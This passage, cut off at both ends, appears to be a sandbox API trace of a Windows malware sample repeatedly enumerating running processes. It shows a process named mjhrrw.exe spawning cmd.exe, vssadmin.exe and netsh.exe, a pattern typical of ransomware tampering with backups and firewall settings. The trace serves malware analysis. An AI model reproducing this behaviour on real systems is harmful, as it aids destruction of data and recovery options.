cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0100.837] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0100.837] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.838] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.839] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.840] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0100.841] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.841] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0100.842] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0100.842] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0100.843] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.844] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.844] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.845] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0100.846] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0100.846] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0100.847] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0100.847] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.848] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.849] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0100.849] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0100.850] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0100.851] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0100.852] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0100.852] CloseHandle (hObject=0x224) returned 1 [0100.854] Sleep (dwMilliseconds=0x1f4) [0102.288] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x224 [0102.296] Process32FirstW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.298] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0102.298] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0102.299] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.300] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0102.300] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.301] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0102.302] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0102.302] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0102.303] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.304] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0102.304] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0102.305] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.306] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0102.306] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.307] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.308] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.308] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.309] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.310] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.310] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.311] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.312] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.312] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.313] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0102.314] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.314] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0102.315] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0102.316] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.316] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0102.317] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0102.318] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0102.318] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0102.319] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0102.320] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0102.320] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0102.321] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0102.322] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0102.322] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0102.323] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0102.324] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0102.324] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0102.326] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0102.327] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0102.328] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0102.953] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0102.953] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0102.954] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0102.955] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0102.955] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0102.956] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0102.957] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0102.957] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0102.958] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0102.958] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0102.959] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0102.960] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0102.960] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, 